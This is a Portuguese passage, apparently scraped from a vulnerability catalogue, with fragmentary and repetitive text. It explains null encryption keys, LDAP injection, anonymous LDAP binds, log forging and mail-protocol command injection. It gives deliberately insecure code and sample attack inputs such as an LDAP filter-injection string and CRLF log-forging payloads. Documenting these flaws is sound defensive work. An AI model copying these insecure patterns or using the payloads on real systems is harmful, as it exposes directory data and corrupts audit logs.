, mas, pior do que isso, qualquer pessoa que utilizar até mesmo as técnicas mais básicas de cracking terá muito mais chances de descriptografar dados criptografados com sucesso. Após o envio do aplicativo, é necessário um patch de software para alterar a chave de criptografia null
. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma chave de criptografia null
.Null
podem comprometer a segurança de uma maneira difícil de remediar.null
. Usar uma chave de criptografia null
não só reduz significativamente a proteção conferida por um bom algoritmo de criptografia, como também torna a correção do problema extremamente difícil. Depois que o código incorreto estiver em produção, será necessário um patch de software para alterar a chave de criptografia null
. Se uma conta protegida pela chave de criptografia null
for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.null
:
...
char encryptionKey[] = null;
...
null
, mas, pior do que isso, qualquer pessoa que utilizar até mesmo as técnicas mais básicas de cracking terá muito mais chances de descriptografar dados criptografados com sucesso. Após a distribuição do programa, é necessário um patch de software para alterar a chave de criptografia null
. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma chave de criptografia null
.null
, pois isso reduz significativamente a proteção oferecida por um bom algoritmo de criptografia, e é extremamente difícil corrigir o problema. Depois que o código incorreto está em produção, a alteração da chave de criptografia null
requer um patch de software. Se uma conta protegida pela chave de criptografia null
for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.null
:
...
aes.NewCipher(nil)
...
null
. Além disso, qualquer pessoa com técnicas básicas de quebra tem muito mais probabilidade de descriptografar com êxito quaisquer dados criptografados. Após a distribuição do aplicativo, é necessário um patch de software para alterar a chave de criptografia null
. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma chave de criptografia null
.null
, pois isso reduz significativamente a proteção conferida por um bom algoritmo de criptografia, além de também tornar a correção do problema extremamente difícil. Depois que o código incorreto estiver em produção, será necessário um patch de software para alterar a chave de criptografia null
. Se uma conta protegida pela chave de criptografia null
for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.null
:
...
SecretKeySpec key = null;
....
Cipher encryptCipher = Cipher.getInstance("AES");
encryptCipher.init(Cipher.ENCRYPT_MODE, key);
...
null
, mas, pior do que isso, qualquer pessoa que utilizar até mesmo as técnicas mais básicas de cracking terá muito mais chances de descriptografar dados criptografados com sucesso. Após o envio do aplicativo, é necessário um patch de software para alterar a chave de criptografia null
. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma chave de criptografia null
.null
, pois isso reduz significativamente a proteção conferida por um bom algoritmo de criptografia, além de também tornar a correção do problema extremamente difícil. Depois que o código incorreto estiver em produção, será necessário um patch de software para alterar a chave de criptografia null
. Se uma conta protegida pela chave de criptografia null
for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.null
:
...
var crypto = require('crypto');
var encryptionKey = null;
var algorithm = 'aes-256-ctr';
var cipher = crypto.createCipher(algorithm, encryptionKey);
...
null
, mas, pior do que isso, qualquer pessoa que utilizar até mesmo as técnicas mais básicas de cracking terá muito mais chances de descriptografar dados criptografados com sucesso. Após o envio do aplicativo, é necessário um patch de software para alterar a chave de criptografia null
. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma chave de criptografia null
.null
, pois isso reduz significativamente a proteção conferida por um bom algoritmo de criptografia, além de também tornar a correção do problema extremamente difícil. Depois que o código incorreto estiver em produção, será necessário um patch de software para alterar a chave de criptografia null
. Se uma conta protegida pela chave de criptografia null
for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.null
:
...
CCCrypt(kCCEncrypt,
kCCAlgorithmAES,
kCCOptionPKCS7Padding,
nil,
0,
iv,
plaintext,
sizeof(plaintext),
ciphertext,
sizeof(ciphertext),
&numBytesEncrypted);
...
null
, mas, pior do que isso, qualquer pessoa que utilizar até mesmo as técnicas mais básicas de cracking terá muito mais chances de descriptografar dados criptografados com sucesso. Após o envio do aplicativo, é necessário um patch de software para alterar a chave de criptografia null
. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma chave de criptografia null
.null
às variáveis da chave de criptografia é uma má ideia, porque pode permitir aos invasores expor informações confidenciais e criptografadas. Usar uma chave de criptografia null
não só reduz significativamente a proteção conferida por um bom algoritmo de criptografia, como também torna a correção do problema extremamente difícil. Depois que o código incorreto estiver em produção, será necessário um patch de software para alterar a chave de criptografia null
. Se uma conta protegida pela chave de criptografia null
for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.null
.
...
$encryption_key = NULL;
$filter = new Zend_Filter_Encrypt($encryption_key);
$filter->setVector('myIV');
$encrypted = $filter->filter('text_to_be_encrypted');
print $encrypted;
...
null
, e qualquer um que emprega até mesmo técnicas básicas de crack tem mais probabilidade de descriptografar com sucesso todos os dados criptografados. Após a distribuição do programa, é necessário um patch de software para alterar a chave de criptografia null
. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma chave de criptografia null
.null
, pois isso reduz significativamente a proteção conferida por um bom algoritmo de criptografia, além de também tornar a correção do problema extremamente difícil. Depois que o código incorreto estiver em produção, será necessário um patch de software para alterar a chave de criptografia null
. Se uma conta protegida pela chave de criptografia null
for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.null
, mas, pior do que isso, qualquer pessoa que utilizar até mesmo as técnicas mais básicas de cracking terá muito mais chances de descriptografar dados criptografados com sucesso. Após o envio do aplicativo, é necessário um patch de software para alterar a chave de criptografia null
. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma chave de criptografia null
.None
às variáveis da chave de criptografia é uma má ideia, porque pode permitir aos invasores expor informações confidenciais e criptografadas. Usar uma chave de criptografia null
não só reduz significativamente a proteção conferida por um bom algoritmo de criptografia, como também torna a correção do problema extremamente difícil. Depois que o código incorreto estiver em produção, será necessário um patch de software para alterar a chave de criptografia null
. Se uma conta protegida pela chave de criptografia null
for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.null
.
...
from Crypto.Ciphers import AES
cipher = AES.new(None, AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...
null
, e qualquer um que emprega até mesmo técnicas básicas de crack tem mais probabilidade de descriptografar com sucesso todos os dados criptografados. Após a distribuição do programa, é necessário um patch de software para alterar a chave de criptografia null
. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma chave de criptografia null
.null
. Usar uma chave de criptografia null
não só reduz significativamente a proteção conferida por um bom algoritmo de criptografia, como também torna a correção do problema extremamente difícil. Depois que o código incorreto estiver em produção, será necessário um patch de software para alterar a chave de criptografia null
. Se uma conta protegida pela chave de criptografia null
for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.null
, e qualquer um que emprega até mesmo técnicas básicas de crack tem mais probabilidade de descriptografar com sucesso todos os dados criptografados. Após a distribuição do programa, é necessário um patch de software para alterar a chave de criptografia null
. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma chave de criptografia null
.Null
podem comprometer a segurança de uma maneira difícil de remediar.null
. Usar uma chave de criptografia null
não só reduz significativamente a proteção conferida por um bom algoritmo de criptografia, como também torna a correção do problema extremamente difícil. Depois que o código incorreto estiver em produção, será necessário um patch de software para alterar a chave de criptografia null
. Se uma conta protegida pela chave de criptografia null
for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.null
:
...
CCCrypt(UInt32(kCCEncrypt),
UInt32(kCCAlgorithmAES128),
UInt32(kCCOptionPKCS7Padding),
nil,
0,
iv,
plaintext,
plaintext.length,
ciphertext.mutableBytes,
ciphertext.length,
&numBytesEncrypted)
...
null
, mas, pior do que isso, qualquer pessoa que utilizar até mesmo as técnicas mais básicas de cracking terá muito mais chances de descriptografar dados criptografados com sucesso. Após a distribuição do programa, é necessário um patch de software para alterar a chave de criptografia null
. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma chave de criptografia null
.null
, pois isso reduz significativamente a proteção conferida por um bom algoritmo de criptografia, além de também tornar a correção do problema extremamente difícil. Depois que o código incorreto estiver em produção, será necessário um patch de software para alterar a chave de criptografia null
. Se uma conta protegida pela chave de criptografia null
for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.null
:
...
Dim encryptionKey As String
Set encryptionKey = vbNullString
Dim AES As New System.Security.Cryptography.RijndaelManaged
On Error GoTo ErrorHandler
AES.Key = System.Text.Encoding.ASCII.GetBytes(encryptionKey)
...
Exit Sub
...
null
, mas, pior do que isso, qualquer pessoa que utilizar até mesmo as técnicas mais básicas de cracking terá muito mais chances de descriptografar dados criptografados com sucesso. Após o envio do aplicativo, é necessário um patch de software para alterar a chave de criptografia null
. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma chave de criptografia null
.null
pode comprometer a segurança do sistema de uma maneira difícil de remediar.null
como o argumento de senha para uma função de derivação de chave criptográfica baseada em senha. Nesse cenário, a chave derivada resultante se baseará exclusivamente no sal fornecido (tornando-o significativamente mais fraco), e a correção do problema será extremamente difícil. Depois que o código incorreto entra em produção, a senha null
muitas vezes não pode ser alterada sem fazer o patch do software. Se uma conta protegida por uma chave derivada com base em uma senha null
estiver comprometida, os proprietários do sistema podem ser forçados a escolher entre a segurança e disponibilidade.null
como argumento de senha para uma função de derivação de chave com base em senha criptográfica:
...
var encryptor = new StrongPasswordEncryptor();
var encryptedPassword = encryptor.encryptPassword(null);
...
null
, mas qualquer um que tenha até mesmo técnicas de decifração básicas estará muito mais propenso a acessar quaisquer recursos protegidos pelas chaves de ofensa com êxito. Se um invasor também tiver acesso ao valor do sal usado para gerar qualquer uma das chaves com base em uma senha null
, quebrar essas chaves se tornará trivial. Depois que o programa é distribuído, provavelmente não há forma de alterar a senha null
, a não ser que um patch seja aplicado ao programa. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os agressores tenham tido acesso apenas ao executável do aplicativo, eles podem ter extraído evidências do uso de uma senha null
.null
pode comprometer a segurança do sistema de uma maneira difícil de remediar.null
como o argumento de senha para uma função de derivação de chave criptográfica baseada em senha. Nesse cenário, a chave derivada resultante se baseará exclusivamente no sal fornecido (tornando-o significativamente mais fraco), e a correção do problema será extremamente difícil. Depois que o código incorreto entra em produção, a senha null
muitas vezes não pode ser alterada sem fazer o patch do software. Se uma conta protegida por uma chave derivada com base em uma senha null
estiver comprometida, os proprietários do sistema podem ser forçados a escolher entre a segurança e disponibilidade.null
como argumento de senha para uma função de derivação de chave com base em senha criptográfica:
...
CCKeyDerivationPBKDF(kCCPBKDF2,
nil,
0,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
null
, mas qualquer um que tenha até mesmo técnicas de decifração básicas estará muito mais propenso a acessar quaisquer recursos protegidos pelas chaves de ofensa com êxito. Se um invasor também tiver acesso ao valor do sal usado para gerar qualquer uma das chaves com base em uma senha null
, quebrar essas chaves se tornará trivial. Depois que o programa é distribuído, provavelmente não há forma de alterar a senha null
, a não ser que um patch seja aplicado ao programa. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os agressores tenham tido acesso apenas ao executável do aplicativo, eles podem ter extraído evidências do uso de uma senha null
.null
pode comprometer a segurança do sistema de uma maneira difícil de remediar.null
como o argumento de senha para uma função de derivação de chave criptográfica baseada em senha. Nesse cenário, a chave derivada resultante se baseará exclusivamente no sal fornecido (tornando-o significativamente mais fraco), e a correção do problema será extremamente difícil. Depois que o código incorreto entra em produção, a senha null
muitas vezes não pode ser alterada sem fazer o patch do software. Se uma conta protegida por uma chave derivada com base em uma senha null
estiver comprometida, os proprietários do sistema podem ser forçados a escolher entre a segurança e disponibilidade.null
como argumento de senha para uma função de derivação de chave com base em senha criptográfica:
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
nil,
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
null
, mas qualquer um que tenha até mesmo técnicas de decifração básicas estará muito mais propenso a acessar quaisquer recursos protegidos pelas chaves de ofensa com êxito. Se um invasor também tiver acesso ao valor do sal usado para gerar qualquer uma das chaves com base em uma senha null
, quebrar essas chaves se tornará trivial. Depois que o programa é distribuído, provavelmente não há forma de alterar a senha null
, a não ser que um patch seja aplicado ao programa. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os agressores tenham tido acesso apenas ao executável do aplicativo, eles podem ter extraído evidências do uso de uma senha null
.returningObjectFlag
como true
na instãncia javax.naming.directory.SearchControls
passada para o método search
ou usando uma função de biblioteca que define este sinalizador em seu nome.
<beans ... >
<authentication-manager>
<ldap-authentication-provider
user-search-filter="(uid={0})"
user-search-base="ou=users,dc=example,dc=org"
group-search-filter="(uniqueMember={0})"
group-search-base="ou=groups,dc=example,dc=org"
group-role-attribute="cn"
role-prefix="ROLE_">
</ldap-authentication-provider>
</authentication-manager>
</beans>
...
DirectorySearcher src =
new DirectorySearcher("(manager=" + managerName.Text + ")");
src.SearchRoot = de;
src.SearchScope = SearchScope.Subtree;
foreach(SearchResult res in src.FindAll()) {
...
}
(manager=Smith, John)
managerName
não contiver metacaracteres LDAP. Se um invasor inserir a string Hacker, Wiley)(|(objectclass=*)
para managerName
, a consulta se tornará a seguinte:
(manager=Hacker, Wiley)(|(objectclass=*))
|(objectclass=*)
faz com que o filtro seja correspondido com todas as entradas do diretório e permite que o invasor recupere informações sobre o grupo inteiro de usuários. A amplitude desse ataque pode ser limitada dependendo das permissões com as quais a consulta LDAP é realizada. Porém, se o invasor puder controlar a estrutura de comandos da consulta, esse ataque poderá afetar pelo menos todos os registros que podem ser acessados pelo usuário com base no qual a consulta LDAP é executada.
fgets(manager, sizeof(manager), socket);
snprintf(filter, sizeof(filter, "(manager=%s)", manager);
if ( ( rc = ldap_search_ext_s( ld, FIND_DN, LDAP_SCOPE_BASE,
filter, NULL, 0, NULL, NULL, LDAP_NO_LIMIT,
LDAP_NO_LIMIT, &result ) ) == LDAP_SUCCESS ) {
...
}
(manager=Smith, John)
manager
não contiver metacaracteres LDAP. Se um invasor inserir a string Hacker, Wiley)(|(objectclass=*)
para manager
, a consulta se tornará a seguinte:
(manager=Hacker, Wiley)(|(objectclass=*))
|(objectclass=*)
faz com que o filtro seja correspondido com todas as entradas do diretório e permite que o invasor recupere informações sobre o grupo inteiro de usuários. A amplitude desse ataque pode ser limitada dependendo das permissões com as quais a consulta LDAP é realizada. Porém, se o invasor puder controlar a estrutura de comandos da consulta, esse ataque poderá afetar pelo menos todos os registros que podem ser acessados pelo usuário com base no qual a consulta LDAP é executada.
...
DirContext ctx = new InitialDirContext(env);
String managerName = request.getParameter("managerName");
//retrieve all of the employees who report to a manager
String filter = "(manager=" + managerName + ")";
NamingEnumeration employees = ctx.search("ou=People,dc=example,dc=com",
filter);
...
(manager=Smith, John)
managerName
não contiver metacaracteres LDAP. Se um invasor inserir a string Hacker, Wiley)(|(objectclass=*)
para managerName
, a consulta se tornará a seguinte:
(manager=Hacker, Wiley)(|(objectclass=*))
|(objectclass=*)
faz com que o filtro seja correspondido com todas as entradas do diretório e permite que o invasor recupere informações sobre o grupo inteiro de usuários. A amplitude desse ataque pode ser limitada dependendo das permissões com as quais a consulta LDAP é realizada. Porém, se o invasor puder controlar a estrutura de comandos da consulta, esse ataque poderá afetar pelo menos todos os registros que podem ser acessados pelo usuário com base no qual a consulta LDAP é executada.
...
$managerName = $_POST["managerName"]];
//retrieve all of the employees who report to a manager
$filter = "(manager=" . $managerName . ")";
$result = ldap_search($ds, "ou=People,dc=example,dc=com", $filter);
...
(manager=Smith, John)
managerName
não contiver metacaracteres LDAP.Se um invasor inserir a string Hacker, Wiley)(|(objectclass=*)
para managerName
, a consulta se tornará a seguinte:
(manager=Hacker, Wiley)(|(objectclass=*))
|(objectclass=*)
faz com que o filtro seja correspondido com todas as entradas do diretório e permite que o invasor recupere informações sobre o grupo inteiro de usuários.A amplitude desse ataque pode ser limitada dependendo das permissões com as quais a consulta LDAP é realizada. Porém, se o invasor puder controlar a estrutura de comandos da consulta, esse ataque poderá afetar pelo menos todos os registros que podem ser acessados pelo usuário com base no qual a consulta LDAP é executada.ou
de um campo oculto enviado por meio de uma solicitação HTTP e o utiliza para criar um novo DirectoryEntry
.
...
de = new DirectoryEntry("LDAP://ad.example.com:389/ou="
+ hiddenOU.Text + ",dc=example,dc=com");
...
ou
inesperado. O problema é que o desenvolvedor não conseguiu tirar proveito dos mecanismos de controle de acesso apropriados necessários para permitir que consultas subsequentes acessem somente os registros de funcionários que o usuário atual tem permissão para ler.dn
de um soquete e a utiliza para realizar uma consulta LDAP.
...
rc = ldap_simple_bind_s( ld, NULL, NULL );
if ( rc != LDAP_SUCCESS ) {
...
}
...
fgets(dn, sizeof(dn), socket);
if ( ( rc = ldap_search_ext_s( ld, dn, LDAP_SCOPE_BASE,
filter, NULL, 0, NULL, NULL, LDAP_NO_LIMIT,
LDAP_NO_LIMIT, &result ) ) != LDAP_SUCCESS ) {
...
dn
inesperada. O problema é que o desenvolvedor não conseguiu tirar proveito dos mecanismos de controle de acesso apropriados necessários para permitir que consultas subsequentes acessem somente os registros de funcionários que o usuário atual tem permissão para ler.
env.put(Context.SECURITY_AUTHENTICATION, "none");
DirContext ctx = new InitialDirContext(env);
String empID = request.getParameter("empID");
try
{
BasicAttribute attr = new BasicAttribute("empID", empID);
NamingEnumeration employee =
ctx.search("ou=People,dc=example,dc=com",attr);
...
dn
do usuário e a utiliza para realizar uma consulta LDAP.
$dn = $_POST['dn'];
if (ldap_bind($ds)) {
...
try {
$rs = ldap_search($ds, $dn, "ou=People,dc=example,dc=com", $attr);
...
dn
base provém de uma entrada do usuário e a consulta é realizada com uma associação anônima, um invasor pode alterar os resultados dessa consulta especificando uma string dn inesperada. O problema é que o desenvolvedor não conseguiu tirar proveito dos mecanismos de controle de acesso apropriados necessários para permitir que consultas subsequentes acessem somente os registros de funcionários que o usuário atual tem permissão para ler.
...
DATA log_msg TYPE bal_s_msg.
val = request->get_form_field( 'val' ).
log_msg-msgid = 'XY'.
log_msg-msgty = 'E'.
log_msg-msgno = '123'.
log_msg-msgv1 = 'VAL: '.
log_msg-msgv2 = val.
CALL FUNCTION 'BAL_LOG_MSG_ADD'
EXPORTING
I_S_MSG = log_msg
EXCEPTIONS
LOG_NOT_FOUND = 1
MSG_INCONSISTENT = 2
LOG_IS_FULL = 3
OTHERS = 4.
...
FOO
" para val
, a seguinte entrada será registrada:
XY E 123 VAL: FOO
FOO XY E 124 VAL: BAR
", a seguinte entrada será registrada:
XY E 123 VAL: FOO XY E 124 VAL: BAR
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var val:String = String(params["username"]);
var value:Number = parseInt(val);
if (value == Number.NaN) {
trace("Failed to parse val = " + val);
}
twenty-one
" para val
, a seguinte entrada será registrada:
Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", a seguinte entrada será registrada:
Failed to parse val=twenty-one
User logged out=badguy
...
string val = (string)Session["val"];
try {
int value = Int32.Parse(val);
}
catch (FormatException fe) {
log.Info("Failed to parse val= " + val);
}
...
twenty-one
" para val
, a seguinte entrada será registrada:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", a seguinte entrada será registrada:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
syslog(LOG_INFO,"Illegal value = %s",val);
...
twenty-one
" para val
, a seguinte entrada será registrada:
Illegal value=twenty-one
twenty-one\n\nINFO: User logged out=evil
", a seguinte entrada será registrada:
INFO: Illegal value=twenty-one
INFO: User logged out=evil
...
01 LOGAREA.
05 VALHEADER PIC X(50) VALUE 'VAL: '.
05 VAL PIC X(50).
...
EXEC CICS
WEB READ
FORMFIELD(NAME)
VALUE(VAL)
...
END-EXEC.
EXEC DLI
LOG
FROM(LOGAREA)
LENGTH(50)
END-EXEC.
...
FOO
" para VAL
, a seguinte entrada será registrada:
VAL: FOO
FOO VAL: BAR
", a seguinte entrada será registrada:
VAL: FOO VAL: BAR
<cflog file="app_log" application="No" Thread="No"
text="Failed to parse val="#Form.val#">
twenty-one
" para val
, a seguinte entrada será registrada:
"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"
twenty-one%0a%0a%22Information%22%2C%2C%2202/28/01%22%2C%2214:53:40%22%2C%2C%22User%20logged%20out:%20badguy%22
", a seguinte entrada será registrada:
"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"
"Information",,"02/28/01","14:53:40",,"User logged out: badguy"
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
name := r.FormValue("name")
logout := r.FormValue("logout")
...
if (logout){
...
} else {
log.Printf("Attempt to log out: name: %s logout: %s", name, logout)
}
}
twenty-one
" para logout
e ele puder criar um usuário com o nome "admin
", a seguinte entrada será armazenada em log:
Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
", a seguinte entrada será armazenada em log:
Attempt to log out: name: admin logout: 1 logout: twenty-one
...
String val = request.getParameter("val");
try {
int value = Integer.parseInt(val);
}
catch (NumberFormatException nfe) {
log.info("Failed to parse val = " + val);
}
...
twenty-one
" para val
, a seguinte entrada será registrada:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", a seguinte entrada será registrada:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
Example 1
à plataforma Android.
...
String val = this.getIntent().getExtras().getString("val");
try {
int value = Integer.parseInt();
}
catch (NumberFormatException nfe) {
Log.e(TAG, "Failed to parse val = " + val);
}
...
var cp = require('child_process');
var http = require('http');
var url = require('url');
function listener(request, response){
var val = url.parse(request.url, true)['query']['val'];
if (isNaN(val)){
console.log("INFO: Failed to parse val = " + val);
}
...
}
...
http.createServer(listener).listen(8080);
...
twenty-one
" para val
, a seguinte entrada será registrada:
INFO: Failed to parse val = twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", a seguinte entrada será registrada:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
NSLog("Illegal value = %s",val);
...
twenty-one
" para val
, a seguinte entrada será registrada:
INFO: Illegal value=twenty-one
twenty-one\n\nINFO: User logged out=evil
", a seguinte entrada será registrada:
INFO: Illegal value=twenty-one
INFO: User logged out=evil
<?php
$name =$_GET['name'];
...
$logout =$_GET['logout'];
if(is_numeric($logout))
{
...
}
else
{
trigger_error("Attempt to log out: name: $name logout: $val");
}
?>
twenty-one
" para logout
e ele puder criar um usuário com o nome "admin
", a seguinte entrada será armazenada em log:
PHP Notice: Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
", a seguinte entrada será armazenada em log:
PHP Notice: Attempt to log out: name: admin logout: 1 logout: twenty-one
name = req.field('name')
...
logout = req.field('logout')
if (logout):
...
else:
logger.error("Attempt to log out: name: %s logout: %s" % (name,logout))
twenty-one
" para logout
e ele puder criar um usuário com o nome "admin
", a seguinte entrada será armazenada em log:
Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
", a seguinte entrada será armazenada em log:
Attempt to log out: name: admin logout: 1 logout: twenty-one
...
val = req['val']
unless val.respond_to?(:to_int)
logger.info("Failed to parse val")
logger.info(val)
end
...
twenty-one
" para val
, a seguinte entrada será registrada:
INFO: Failed to parse val
INFO: twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", a seguinte entrada será registrada:
INFO: Failed to parse val
INFO: twenty-one
INFO: User logged out=badguy
...
let num = Int(param)
if num == nil {
NSLog("Illegal value = %@", param)
}
...
twenty-one
" para val
, a seguinte entrada será registrada:
INFO: Illegal value = twenty-one
twenty-one\n\nINFO: User logged out=evil
", a seguinte entrada será registrada:
INFO: Illegal value=twenty-one
INFO: User logged out=evil
...
Dim Val As Variant
Dim Value As Integer
Set Val = Request.Form("val")
If IsNumeric(Val) Then
Set Value = Val
Else
App.EventLog "Failed to parse val=" & Val, 1
End If
...
twenty-one
" para val
, a seguinte entrada será registrada:
Failed to parse val=twenty-one
twenty-one%0a%0a+User+logged+out%3dbadguy
", a seguinte entrada será registrada:
Failed to parse val=twenty-one
User logged out=badguy
@HttpGet
global static void doGet() {
RestRequest req = RestContext.request;
String val = req.params.get('val');
try {
Integer i = Integer.valueOf(val);
...
} catch (TypeException e) {
System.Debug(LoggingLevel.INFO, 'Failed to parse val: '+val);
}
}
twenty-one
" para val
, a seguinte entrada será registrada:
Failed to parse val: twenty-one
twenty-one%0a%0aUser+logged+out%3dbadguy
", a seguinte entrada será registrada:
Failed to parse val: twenty-one
User logged out=badguy
...
String val = request.Params["val"];
try {
int value = Int.Parse(val);
}
catch (FormatException fe) {
log.Info("Failed to parse val = " + val);
}
...
twenty-one
" para val
, a seguinte entrada será registrada:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", a seguinte entrada será registrada:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
Example 1
à plataforma Android.
...
String val = this.Intent.Extras.GetString("val");
try {
int value = Int.Parse(val);
}
catch (FormatException fe) {
Log.E(TAG, "Failed to parse val = " + val);
}
...
...
var idValue string
idValue = req.URL.Query().Get("id")
num, err := strconv.Atoi(idValue)
if err != nil {
sysLog.Debug("Failed to parse value: " + idValue)
}
...
twenty-one
" para val
, a seguinte entrada será registrada:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", a seguinte entrada será registrada:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
...
String val = request.getParameter("val");
try {
int value = Integer.parseInt(val);
}
catch (NumberFormatException nfe) {
log.info("Failed to parse val = " + val);
}
...
twenty-one
" para val
, a seguinte entrada será registrada:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", a seguinte entrada será registrada:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
Example 1
à plataforma Android.
...
String val = this.getIntent().getExtras().getString("val");
try {
int value = Integer.parseInt();
}
catch (NumberFormatException nfe) {
Log.e(TAG, "Failed to parse val = " + val);
}
...
var cp = require('child_process');
var http = require('http');
var url = require('url');
function listener(request, response){
var val = url.parse(request.url, true)['query']['val'];
if (isNaN(val)){
console.error("INFO: Failed to parse val = " + val);
}
...
}
...
http.createServer(listener).listen(8080);
...
twenty-one
" para val
, a seguinte entrada será registrada:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", a seguinte entrada será registrada:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
...
val = request.GET["val"]
try:
int_value = int(val)
except:
logger.debug("Failed to parse val = " + val)
...
twenty-one
" para val
, a seguinte entrada será registrada:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", a seguinte entrada será registrada:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
...
val = req['val']
unless val.respond_to?(:to_int)
logger.debug("Failed to parse val")
logger.debug(val)
end
...
twenty-one
" para val
, a seguinte entrada será registrada:
DEBUG: Failed to parse val
DEBUG: twenty-one
twenty-one%0a%DEBUG:+User+logged+out%3dbadguy
", a seguinte entrada será registrada:
DEBUG: Failed to parse val
DEBUG: twenty-one
DEBUG: User logged out=badguy
CREATE
que é enviado ao servidor IMAP. Um invasor pode usar esse parâmetro para modificar o comando enviado ao servidor e injetar novos comandos usando caracteres CRLF.
...
final String foldername = request.getParameter("folder");
IMAPFolder folder = (IMAPFolder) store.getFolder("INBOX");
...
folder.doCommand(new IMAPFolder.ProtocolCommand() {
@Override
public Object doCommand(IMAPProtocol imapProtocol) throws ProtocolException {
try {
imapProtocol.simpleCommand("CREATE " + foldername, null);
} catch (Exception e) {
// Handle Exception
}
return null;
}
});
...
USER
e PASS
que é enviado ao servidor POP3. Um invasor pode usar esse parâmetro para modificar o comando enviado ao servidor e injetar novos comandos usando caracteres CRLF.
...
String username = request.getParameter("username");
String password = request.getParameter("password");
...
POP3SClient pop3 = new POP3SClient(proto, false);
pop3.login(username, password)
...
VRFY
que é enviado para o servidor SMTP. Um invasor pode usar esse parâmetro para modificar o comando enviado ao servidor e injetar novos comandos usando caracteres CRLF.
...
c, err := smtp.Dial(x)
if err != nil {
log.Fatal(err)
}
user := request.FormValue("USER")
c.Verify(user)
...
VRFY
que é enviado ao servidor SMTP. Um invasor pode usar esse parâmetro para modificar o comando enviado ao servidor e injetar novos comandos usando caracteres CRLF.
...
String user = request.getParameter("user");
SMTPSSLTransport transport = new SMTPSSLTransport(session,new URLName(Utilities.getProperty("smtp.server")));
